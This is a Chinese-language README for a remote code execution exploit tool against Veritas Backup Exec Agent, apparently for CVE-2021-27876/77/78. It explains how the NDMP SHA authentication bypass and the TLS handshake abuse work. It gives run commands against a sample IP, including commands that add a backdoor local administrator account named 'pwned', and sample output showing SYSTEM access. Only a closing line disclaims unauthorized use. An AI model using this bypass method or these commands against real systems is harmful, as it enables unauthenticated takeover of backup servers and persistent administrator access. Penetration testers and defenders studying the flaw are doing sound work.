针对 Veritas Backup Exec Agent 的未认证远程代码执行利用(CVE-2021-27876/77/78)—— 通过 NDMP 绕过 SHA 认证获取 SYSTEM 权限
| CVE | 描述 | CVSS 3.1 |
|---|---|---|
| CVE-2021-27876 | 通过 NDMP 协议中的 SHA 哈希操纵绕过认证 | 9.8 严重 |
| CVE-2021-27877 | 未认证任意文件读取(通过 NDMP) | 9.8 严重 |
| CVE-2021-27878 | 通过 NDMP_EXECUTE_COMMAND 执行任意 OS 命令 | 9.8 严重 |
公告: Veritas VTS21-003
修复版本: Backup Exec 21.3 及更高版本。
Veritas Backup Exec Agent 监听 TCP/10000 端口,使用 NDMP(网络数据管理协议)。该利用链结合了三个弱点:
TLS 握手滥用 — 代理在其自定义 TLS 协商期间请求 CSR。利用工具生成本地 CA,签署代理的 CSR,完成握手,将套接字升级为 TLS,无需任何预共享密钥。
SHA 认证绕过(CVE-2021-27876) — NDMP SHA 认证计算 SHA256('\x00' * 64 + challenge)。由于密码以 64 字节零填充块的形式前置,且服务器端未验证密码材料,任何客户端都可以在不知道密码的情况下以 Administrator 身份认证。
NDMP_EXECUTE_COMMAND(CVE-2021-27878) — 认证后,NDMP_EXECUTE_COMMAND 消息类型以 NT AUTHORITY\SYSTEM 权限执行任意 OS 命令。输出被重定向到 C:\Windows\Temp\_be_out.txt,并通过 NDMP_FILE_READ 读取。
Python 3.8+
在现代发行版上,Python 被标记为“外部管理”(PEP 668),因此请将依赖安装到虚拟环境中:
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install cryptography
python3 be_rce.py
示例:
# 确认 SYSTEM 访问权限
python3 be_rce.py 10.10.10.50 "whoami"
# 转储主机名和域
python3 be_rce.py 10.10.10.50 "whoami /all"
# 添加本地管理员
python3 be_rce.py 10.10.10.50 "net user pwned P@ssw0rd123! /add"
python3 be_rce.py 10.10.10.50 "net localgroup administrators pwned /add"
示例输出:
[*] 正在连接 10.10.10.50:10000
[*] NDMP 版本:9
[+] NDMP 连接已打开
[*] 正在生成 CA 证书
[*] 获取到代理 CSR(1024 字节)
[*] 已签署代理 CSR 并返回
[*] 已发送 SSL_HANDSHAKE CONNECT
[*] 正在升级到 TLS
[+] TLS 已建立
[*] 正在请求 SHA 挑战
[*] 获取到 64 字节 SHA 挑战
[+] SHA 认证已绕过!
[*] 正在执行:whoami
[+] 命令输出:
────────────────────────────────────────
nt authority\system
────────────────────────────────────────
本工具仅用于授权的渗透测试和安全研究。在未获得明确书面许可的情况下使用本工具攻击系统是非法的。作者不对滥用行为承担任何责任。